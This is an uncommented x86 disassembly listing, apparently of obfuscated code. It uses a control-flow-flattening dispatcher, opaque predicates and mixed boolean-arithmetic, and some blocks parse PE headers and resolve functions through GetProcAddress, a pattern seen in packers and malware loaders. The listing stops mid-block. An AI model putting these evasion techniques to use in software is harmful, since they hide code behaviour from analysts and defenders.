cmp dword [0x4a4b78], 0xa
setge cl
setl ah
mov dh, cl
mov al, cl
xor dh, dl
or al, dl
not dh
xor al, 1
and dh, dl
or al, dh
mov dh, cl
or cl, ch
and ch, ah
xor ah, dl
xor cl, 1
and dh, dl
or cl, ah
or dh, ch
xor cl, 1
or cl, dh
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0x6caec218
cmovne ecx, esi
test dl, 1
mov edx, ecx
cmovne edx, edi
jmp 0x40b47b
cmp eax, 0x5523aa0b
jle 0x405f7c
cmp eax, 0x5523aa0c
je 0x409446
cmp eax, 0x554fa18d
je 0x409505
cmp eax, 0x58d1e032
jne 0x401540
mov eax, 0x42660998
jmp 0x401540
cmp eax, 0xb2bd6526
jle 0x406075
cmp eax, 0xb2bd6527
je 0x409539
cmp eax, 0xb2defd07
je 0x409652
cmp eax, 0xb4bef297
jne 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x2dc2b173
mov esi, ecx
and esi, 0xd23d4e8c
or edx, esi
mov esi, eax
not esi
and eax, 0x2dc2b173
or ecx, esi
and esi, 0xd23d4e8c
or eax, esi
not ecx
mov esi, 0x2fd9b639
xor eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0xc2ed224a
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x3d12ddb5
and ecx, 0xc2ed224a
or ecx, eax
setne dl
cmp dword [0x4a4b78], 0xa
setl ah
setge cl
mov ch, ah
xor ch, dl
mov al, ch
xor al, cl
xor cl, dl
or dl, ah
xor dl, 1
and cl, ah
and al, ch
or cl, dl
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xbdf453a5
cmovne edx, esi
test al, al
mov eax, 0xbdf453a5
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401540
cmp eax, 0x37094f96
jle 0x4060a2
cmp eax, 0x37094f97
je 0x40965c
cmp eax, 0x381d775c
je 0x409669
cmp eax, 0x39d2c1f9
jne 0x401540
mov eax, dword [ebp - 0x1c4]
mov ecx, eax
mov edx, eax
not ecx
or edx, 0x20000000
and eax, 0x3424d01a
mov esi, ecx
mov edi, ecx
or edi, 0x848d9ff7
and edx, 0xa48d9ff7
and esi, 0x5b726008
and ecx, 0xcbdb2fe5
or esi, edx
and edi, 0xa48d9ff7
or eax, ecx
xor edi, esi
xor eax, 0x3424d01a
mov esi, edi
not esi
and edi, 0x9f815c17
and esi, 0x607ea3e8
or edi, esi
xor edi, 0x9f815c17
or eax, edi
mov ecx, eax
not ecx
and eax, 0xce0181e8
and ecx, 0x31fe7e17
or eax, ecx
mov ecx, 0x7a8b1648
cmp eax, 0xce0181e8
mov eax, 0xb7dbdfb0
cmove eax, ecx
jmp 0x401540
cmp eax, 0xfa3af62a
jle 0x4061e8
cmp eax, 0xfa3af62b
je 0x409681
cmp eax, 0xfac975e5
je 0x40969a
cmp eax, 0xfbad5d2d
jne 0x401540
mov eax, dword [ebp - 0x70]
mov eax, dword [0x4a4b7c]
mov esi, 0xd2b4067d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0x5f4dd3d5
and eax, 0xa0b22c2a
or eax, ecx
xor eax, 0xa0b22c2b
or eax, edx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x7e5ca12a
and eax, 0x81a35ed5
or edx, eax
xor edx, 0x7e5ca12a
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x749b64f6
and eax, 0x8b649b09
or ecx, eax
mov eax, ecx
xor eax, 0x30034016
xor ecx, 0x80409001
and ecx, 0xc4d8b4e1
and eax, 0x3b274b1e
or eax, ecx
xor eax, 0x3b274b1e
setne dl
sete ah
cmp dword [0x4a4b78], 0xa
setge cl
setl al
mov ch, cl
and al, dl
xor ch, ah
and ah, cl
or al, ah
and ch, cl
xor cl, dl
mov edx, eax
or cl, ch
xor dl, 1
and al, dl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or dl, cl
or al, ah
xor al, cl
mov ecx, edx
xor al, 1
xor cl, al
test dl, dl
mov edx, 0xb7c1e652
cmovne edx, esi
test al, 1
mov eax, 0xb7c1e652
jmp 0x406065
cmp eax, 0x76854cbd
jle 0x4063cc
cmp eax, 0x76854cbe
je 0x40977c
cmp eax, 0x76c7d328
je 0x409786
cmp eax, 0x7781bf80
jne 0x401540
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, 0xf8334fe4
jmp 0x401540
cmp eax, 0x96162f13
jle 0x406514
cmp eax, 0x96162f14
je 0x409895
cmp eax, 0x961f271d
je 0x4098ab
cmp eax, 0x97d06976
jne 0x401540
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x3c]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x38]
mov eax, 0xee18b792
jmp 0x401540
cmp eax, 0x15896c2c
jle 0x40653d
cmp eax, 0x15896c2d
je 0x4098b5
cmp eax, 0x15b289c9
je 0x409a52
cmp eax, 0x16deffc2
jne 0x401540
mov eax, 0xd5e8fbb6
jmp 0x401540
cmp eax, 0xd1e7ac28
jle 0x4066a2
cmp eax, 0xd1e7ac29
je 0x409ba1
cmp eax, 0xd2610994
je 0x409ce8
cmp eax, 0xd2b4067d
jne 0x401540
mov eax, 0xb7c1e652
jmp 0x401540
cmp eax, 0x4d414be8
jle 0x4066ce
cmp eax, 0x4d414be9
je 0x409cf2
cmp eax, 0x4dbb97cf
je 0x409cfc
cmp eax, 0x4f8e23ce
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2eab4a16
and edx, 0xd154b5e9
or ecx, edx
mov edx, eax
xor edx, 0xdd09f849
mov esi, ecx
xor ecx, 0xd100b049
and edx, eax
xor esi, 0xc084800
mov ebx, edx
or ecx, 0x22f607b6
not ebx
and esi, 0x8c087808
and edx, 0xac487d8a
mov edi, ecx
or ecx, ebx
and edi, 0x53b78275
and ebx, 0x53b78275
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0x1c583446
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xdd09f848
and edx, 0x22f607b7
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete ah
setne ch
cmp dword [0x4a4b78], 0xa
setl al
setge dl
mov cl, al
and al, ch
or cl, ah
and ah, dl
xor dl, ch
xor cl, 1
or al, ah
or cl, dl
mov ch, al
mov edx, ecx
xor ch, 1
xor dl, 1
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
mov cl, al
and cl, ch
xor ah, 1
xor cl, 1
or ah, dl
or cl, ch
mov ch, ah
xor cl, 1
xor ch, 1
or cl, al
and ch, cl
xor cl, 1
and cl, ah
mov ah, dl
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x17d125fe
cmovne edx, esi
test al, 1
mov eax, 0x17d125fe
jmp 0x40bfb1
cmp eax, 0xab8e808a
jle 0x4066f7
cmp eax, 0xab8e808b
je 0x409d0f
cmp eax, 0xac23cbf0
je 0x409d2c
cmp eax, 0xad11c0f7
jne 0x401540
mov ecx, dword [0x4a4b7c]
mov esi, 0x9513ca15
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x100bb880
mov edx, ecx
and edx, 0xeff4477f
or eax, edx
mov edx, eax
not edx
and eax, 0xeff4477e
and edx, 0x100bb881
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x41a16aea
and ecx, 0xbe5e9515
or eax, ecx
cmp eax, 0x41a16aea
setne dl
cmp dword [0x4a4b78], 0xa
setl ah
setge al
mov ch, ah
xor ch, dl
mov cl, ch
xor cl, al
xor al, dl
or dl, ah
and al, ah
mov ah, dl
and cl, ch
xor al, 1
xor cl, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x15896c2d
cmovne ecx, esi
test al, 1
mov eax, 0x15896c2d
jmp 0x40152e
cmp eax, 0x308bb2d9
jle 0x406717
cmp eax, 0x308bb2da
je 0x409f02
cmp eax, 0x32299144
je 0x409f15
cmp eax, 0x32661358
jne 0x401540
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x94]
add eax, dword [ebp - 0x94]
push dword [ebp - 0xe0]
push dword [ebp - 0x134]
push dword [ebp - 0x138]
push eax
vzeroupper
call section..text
add esp, 0x10
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov eax, 0x2be7e2f
jmp 0x401540
cmp eax, 0xf0c4285c
jle 0x406737
cmp eax, 0xf0c4285d
je 0x409f1f
cmp eax, 0xf0c9886f
je 0x40a0bb
cmp eax, 0xf1756a40
jne 0x401540
mov eax, 0x34fd2c32
jmp 0x401540
cmp eax, 0x6f9d6826
jle 0x406757
cmp eax, 0x6f9d6827
je 0x40a0c5
cmp eax, 0x6f9f6e4f
je 0x40a1ae
cmp eax, 0x6fbcbd45
jne 0x401540
mov eax, 0xaf54709
jmp 0x401540
cmp eax, 0x8d52dc21
jle 0x406790
cmp eax, 0x8d52dc22
je 0x40a1c7
cmp eax, 0x8dd87e10
je 0x40a1e0
cmp eax, 0x9068ed22
jne 0x401540
mov eax, 0xb59a7d1a
jmp 0x401540
cmp eax, 0x23c511dc
jle 0x406945
cmp eax, 0x23c511dd
je 0x40a291
cmp eax, 0x2460a630
je 0x40a6f7
cmp eax, 0x24b9bc5b
jne 0x401540
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
mov eax, 0xba97d90b
mov ecx, dword [ebp - 0x150]
mov dword [ebp - 0xf0], ecx
jmp 0x401540
cmp eax, 0xde3a50d4
jle 0x406aed
cmp eax, 0xde3a50d5
je 0x40a871
cmp eax, 0xdfda00e0
je 0x40a9c9
cmp eax, 0xe2301d90
jne 0x401540
mov eax, dword [ebp - 0x30]
mov edi, 0x9068ed22
mov eax, dword [eax]
movzx ecx, word [eax]
mov eax, ecx
not eax
and ecx, 0xffff8109
mov edx, eax
and edx, 0xc04
and eax, 0x72f2
or ecx, edx
xor ecx, 0xffff8109
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x130d
and edx, 0xfffff000
and ecx, 0xffffecf2
or eax, ecx
xor eax, 0x1cf2
or eax, edx
mov ecx, eax
not ecx
and eax, 0x67e4
and ecx, 0xffff981b
or eax, ecx
mov ecx, eax
xor ecx, 0x584
xor eax, 0xffff8809
and eax, 0xffffea69
and ecx, 0x1596
or ecx, eax
mov eax, ecx
xor eax, 0x492
xor ecx, 0xffffca68
and ecx, 0xffffdb6c
and eax, 0x2493
or eax, ecx
xor eax, 0x2493
movzx eax, ax
add eax, dword [ebp - 0xe8]
mov ecx, dword [0x4a4b7c]
mov dword [ebp - 0x184], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xef16a004
not edx
mov ecx, edx
and esi, eax
and ecx, 0xef16a004
and edx, 0xf3c4cd96
and eax, 0xc3b3269
or ecx, esi
not esi
or eax, edx
and esi, 0x10e95ffa
and ecx, 0xef16a005
xor eax, 0xc3b3269
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4883f0b3
and esi, 0xb77c0f4c
or ecx, esi
mov esi, 0xb0e26bf
xor ecx, 0x4883f0b3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7457ba0b
and ecx, 0x8ba845f4
or eax, ecx
xor eax, 0x7457ba0b
setne dl
sete ch
cmp dword [0x4a4b78], 0xa
setl ah
setge cl
mov al, ah
xor cl, dl
xor al, ch
mov dh, al
and al, ah
or ah, ch
xor ah, 1
and dh, ch
or cl, ah
mov bl, dh
xor dh, al
xor al, 1
mov dl, cl
xor bl, 1
mov ah, cl
not dl
or al, bl
and dl, cl
xor al, 1
xor dl, 1
or al, dh
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and ah, dl
and cl, al
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, cl
test dl, 1
cmovne edi, esi
test cl, 1
cmove edi, esi
test al, 1
mov eax, 0x9068ed22
cmove edi, eax
mov eax, edi
jmp 0x401540
cmp eax, 0x5dd54af2
jle 0x406bd4
cmp eax, 0x5dd54af3
je 0x40a9d3
cmp eax, 0x5fd225e7
je 0x40aad5
cmp eax, 0x61566baf
jne 0x401540
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x20000228
mov edx, eax
and edx, 0x27c9881
and eax, 0x7a7c42c3
or esi, edx
mov edx, ecx
and edx, 0xdd836556
xor esi, 0x20000228
or edx, esi
mov esi, edx
not esi
and edx, 0x227c9aa8
and esi, 0xdd836557
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0x8583bd3c
and edi, 0x8583bd3c
and esi, 0x7a7c42c3
or eax, ecx
not edx
or esi, edi
mov edi, 0xf1756a40
xor eax, esi
mov esi, 0x3bb41ac0
or edx, eax
xor edx, 0xffffffff
setne al
sete ah
cmp dword [0x4a4b78], 0xa
setge dl
setl cl
mov ch, dl
xor al, dl
xor cl, ah
inc ch
mov edx, ecx
or ch, ah
xor dl, 1
xor ch, 1
or al, ch
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf1756a40
jmp 0x40cd82
cmp eax, 0xba97d90a
jle 0x406dfc
cmp eax, 0xba97d90b
je 0x40ac8a
cmp eax, 0xbbe550a2
je 0x40acc4
cmp eax, 0xbc01aed3
jne 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0xee9ae2d1
and ecx, 0x11651d2e
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0xdca5d574
mov edi, ecx
xor edi, 0x40100e
xor ecx, 0xee9ae2d1
and edx, 0x235a2a8b
and edi, 0x4652505e
or eax, edx
mov edx, eax
xor edx, 0x44005054
xor eax, 0x235a2a8b
mov esi, eax
or eax, ecx
and ecx, 0xb9adafa1
and esi, 0xb9adafa1
and edx, 0x4652505e
or edx, esi
or edi, ecx
not eax
xor edi, edx
or eax, edi
xor eax, 0xffffffff
setne ah
sete al
cmp dword [0x4a4b78], 0xa
mov dh, ah
setl ch
setge dl
mov cl, ch
and dh, dl
or ah, ch
and cl, al
xor al, ch
or cl, dh
and al, ch
mov ch, ah
xor cl, 1
xor al, 1
or cl, dl
xor ch, al
or al, ah
mov edx, ecx
xor al, 1
xor dl, 1
or al, ch
mov ah, dl
mov ch, al
and ah, cl
xor ch, 1
xor ah, 1
mov dh, ah
or ah, cl
xor dh, cl
xor ah, 1
or ah, dh
mov dh, ah
and ah, ch
xor ch, cl
xor dh, 1
and dh, al
or al, dl
xor al, 1
or ah, dh
mov edx, 0xe3685852
or al, ch
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xd2ff57e9
cmovne ecx, edx
test al, 1
mov edx, 0xd2ff57e9
jmp 0x4083ef
cmp eax, 0x4031f7e5
jle 0x406e27
cmp eax, 0x4031f7e6
je 0x40acd9
cmp eax, 0x410df74e
je 0x40ace3
cmp eax, 0x417e16be
jne 0x401540
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x58]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xdc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb0]
mov eax, 0xb2bd6527
jmp 0x401540
cmp eax, 0x4a1710c
jle 0x406e4d
cmp eax, 0x4a1710d
je 0x40aced
cmp eax, 0x4ab2fde
je 0x40acf7
cmp eax, 0x5040ee0
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x4f6cfa4c
and ecx, 0xb09305b3
or eax, ecx
mov esi, eax
xor esi, 0x144c80c
xor eax, 0x10010023
and eax, 0x5e293263
and esi, 0xa1d6cd9c
or esi, eax
mov edx, esi
xor edx, 0x5e293263
mov eax, esi
xor esi, 0xc04ec2fc
xor eax, 0xa1d6cd9c
mov ecx, edx
or ecx, 0x61980f60
mov edi, eax
and esi, edx
and edi, 0x18678004
and edx, 0xfe218e49
mov ebx, ecx
and ebx, 0xc718789b
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x38e78764
or ecx, ebx
and ebx, 0xc718789b
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x9e67f09e
and esi, 0x61980f61
or ecx, esi
mov esi, eax
and esi, 0x1de71b6
and eax, 1
or esi, edx
xor esi, 0xfe218e48
or eax, esi
mov esi, 0xafa20e41
mov edx, eax
not edx
and eax, 0xb1f788ae
and edx, 0x4e087751
or eax, edx
xor eax, 0xb1f788ae
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xf28ca24
andn eax, eax, eax
and edx, 0xf0d735db
or ecx, edx
xor ecx, 0xf28ca24
or eax, ecx
sete al
setne dl
cmp dword [0x4a4b78], 0xa
setl ah
setge ch
and ah, dl
or dl, ch
and al, ch
mov ecx, edx
mov ch, dl
or al, ah
xor cl, 1
mov ah, al
and ch, cl
xor ah, 1
xor ch, 1
or ch, cl
xor ch, 1
or ch, dl
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor dl, ch
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xf7565360
cmovne eax, esi
test dl, 1
mov edx, 0xf7565360
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
cmp eax, 0x7e58be32
jle 0x406f78
cmp eax, 0x7e58be33
je 0x40ae5f
cmp eax, 0x7eb72845
je 0x40ae72
cmp eax, 0x7ebd4465
jne 0x401540
mov eax, 0x5040ee0
jmp 0x401540
cmp eax, 0x9d140d51
jg 0x406fc0
cmp eax, 0x9ba3b12a
je 0x40af7c
cmp eax, 0x9c9f093a
jne 0x40da22
mov eax, dword [ebp - 0x38]
mov eax, 0x35852230
jmp 0x401540
cmp eax, 0x759bdff
jg 0x406fe0
cmp eax, 0x6be5bf8
je 0x40af8f
cmp eax, 0x6eca27f
jne 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, 0x76854cbe
jmp 0x401540
cmp eax, 0xbdf453a4
jg 0x40700f
cmp eax, 0xbc25b8cd
je 0x40b028
cmp eax, 0xbdf14edd
jne 0x401540
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x8c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, 0x8373c838
jmp 0x401540
cmp eax, 0x4339a695
jg 0x407174
cmp eax, 0x42660998
je 0x40b19a
cmp eax, 0x430309b6
jne 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
or edx, 1
mov eax, ecx
and eax, 1
mov esi, edx
not esi
and edx, 0x9aa04508
or eax, esi
mov esi, ecx
not esi
and ecx, 0x191fc741
and eax, 0x655fbaf7
and esi, 0xe6e038be
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0x215d08f2
xor eax, 0x9aa04508
mov esi, eax
and esi, 0xc482f705
and edx, 0x3b7d08fa
or edx, esi
mov esi, ecx
xor esi, 0x191d0040
xor ecx, 0xe6e038be
or eax, ecx
and ecx, 0xc482f705
and esi, 0x3b7d08fa
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xd67ac54a
mov ecx, eax
not ecx
and eax, 0x6042238d
and ecx, 0x9fbddc72
or eax, ecx
xor eax, 0x6042238d
sete ah
setne ch
cmp dword [0x4a4b78], 0xa
mov cl, ah
setl dl
setge al
mov dh, dl
and cl, al
or al, ah
and dh, ch
or ch, dl
or dl, ah
xor al, 1
or cl, dh
xor ch, 1
xor cl, 1
or al, ch
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
mov ah, cl
xor dl, cl
and cl, al
and dl, al
not ah
xor al, 1
and al, ah
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xa72b1778
cmovne eax, esi
test cl, 1
mov ecx, eax
cmovne ecx, esi
test dl, dl
jmp 0x40aacb
cmp eax, 0xa059255c
je 0x40b1c8
cmp eax, 0xa0eae6c4
jne 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xa
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x482f3264
mov eax, edx
and eax, 0xa757fa50
and ecx, edx
not edx
and edx, 0x58a805af
or eax, edx
mov edx, eax
xor eax, 0x48280024
xor edx, 0x30200
or eax, 0xb7d0cd9b
and edx, 0x48030224
mov esi, eax
and esi, 0x813c35cb
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7ec3ca34
or eax, esi
and esi, 0x813c35cb
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x509769a1
and ecx, 0xaf68965e
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0xe346a430
xor edx, 0x18b85bc5
xor ecx, 0x18b85bc4
and ecx, edx
and eax, 0xe3c6b4f4
and edx, 0x1c394b0b
or edx, eax
mov eax, ecx
not eax
and ecx, 0x5651b31a
mov edi, edx
xor edi, 0x1411030a
xor edx, 0xe3c6b4f5
mov esi, eax
and esi, 0xa9ae4ce5
or eax, edx
and edx, 0xa9ae4ce5
and edi, 0x5651b31a
or ecx, esi
or edi, edx
not eax
xor edi, ecx
or eax, edi
mov ecx, eax
not ecx
and eax, 0x5af82f4c
and ecx, 0xa507d0b3
or eax, ecx
mov ecx, eax
xor ecx, 0x42000b40
xor eax, 0xa507d0b3
mov edx, eax
and edx, 0x38fd64ac
and ecx, 0xc7029b53
or ecx, edx
xor ecx, 0xc7029b53
or ecx, eax
xor ecx, 0xffffffff
setne ah
sete ch
cmp dword [0x4a4b78], 0xa
setge cl
mov edx, ecx
or ch, cl
xor dl, ah
mov dh, ch
mov al, dl
and al, cl
or cl, ah
xor cl, 1
xor al, 1
or cl, dl
xor dh, al
or al, ch
xor al, 1
xor cl, 1
or cl, dl
or al, dh
mov ah, al
mov edx, ecx
and al, cl
xor dl, 1
xor ah, 1
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x4dbb97cf
xor cl, al
test cl, 1
mov ecx, 0x8b8044c1
cmovne ecx, edx
test ah, 1
mov edx, 0x8b8044c1
cmovne edx, ecx
test al, 1
jmp 0x40b47d
cmp eax, 0x24d96214
je 0x40b487
cmp eax, 0x2640a016
jne 0x401540
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x18c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0x7d5061b9
jmp 0x401540
cmp eax, 0xe3685852
je 0x40b49c
cmp eax, 0xe3db4fcb
jne 0x401540
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 4]
mov dword [ebp - 0x118], eax
mov eax, 0x84fe14e3
jmp 0x401540
cmp eax, 0x6182f478
je 0x40b4a6
cmp eax, 0x61abeff7
jne 0x401540
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1c0], eax
mov eax, 0xba0c199f
jmp 0x401540
cmp eax, 0x802adfc2
je 0x40b54a
cmp eax, 0x8035f158
jne 0x401540
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
add eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0xa5cae652
jmp 0x401540
cmp eax, 0x173783fa
je 0x40b554
cmp eax, 0x17d125fe
jne 0x401540
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
cmp ecx, dword [eax + 0x34]
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
setne byte [ebp - 0x98]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xff2410d2
mov ecx, edx
and ecx, 0xdbef2c
and edx, 0x3a491473
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor esi, 0xff2410d2
and eax, 0xc5b6eb8c
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x3b062e60
mov esi, edx
and esi, 0xc4f9d19f
or ecx, esi
mov esi, eax
xor esi, 0x1062a00
xor eax, 0x491013
and eax, 0xc4f9d19f
and esi, 0x3b062e60
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x1c583446
sete dl
setne cl
cmp dword [0x4a4b78], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x2f52c376
cmovne ecx, esi
test al, al
mov eax, 0x2f52c376
jmp 0x40976f
cmp eax, 0xd2ff57e9
je 0x40b67d
cmp eax, 0xd307f82e
jne 0x401540
push dword [ebp - 0x1ac]
push dword [ebp - 0x1b0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, 0x936c3dce
jmp 0x401540
cmp eax, 0x4fc2cb79
je 0x40b687
cmp eax, 0x50e7f4e2
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0xbe77ccff
andn edx, eax, esi
and esi, eax
mov ecx, esi
not ecx
and esi, 0xf7c079f0
mov edi, ecx
and edi, 0x83f860f
or esi, edi
mov edi, edx
not edi
and edx, 0xf7c079f0
or ecx, edi
and edi, 0x83f860f
or edx, edi
not ecx
mov edi, 0x2f10f181
xor edx, esi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x41883301
and edx, 0xbe77ccfe
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x67164b68
mov esi, edx
and esi, 0x98e9b497
or ecx, esi
mov esi, eax
not esi
or eax, 1
or edx, eax
and eax, 0x98e9b497
and esi, 0x67164b68
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x5dd54af3
mov eax, edx
not eax
and edx, 0x11f0310
mov ecx, eax
and ecx, 0x4e60c4cb
and eax, 0xb0803824
or edx, ecx
xor edx, 0x11f0310
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe8f253eb
and ecx, 0x170dac14
or eax, ecx
mov ecx, eax
xor ecx, 0x688013e9
xor eax, 0x16052400
and eax, 0x96776402
and ecx, 0x69889bfd
or ecx, eax
xor ecx, 0x69889bfd
sete cl
setne al
cmp dword [0x4a4b78], 0xa
setge dl
setl ah
and ah, al
mov al, dl
and al, cl
xor cl, dl
or al, ah
and cl, dl
or cl, al
xor al, 1
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
xor dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x2f10f181
cmovne edx, esi
test cl, 1
cmovne edx, edi
jmp 0x40b671
cmp eax, 0xaddde595
je 0x40b779
cmp eax, 0xae3facb0
jne 0x401540
mov eax, dword [ebp - 0x168]
mov edx, 0x3d846b21
movzx eax, word [eax]
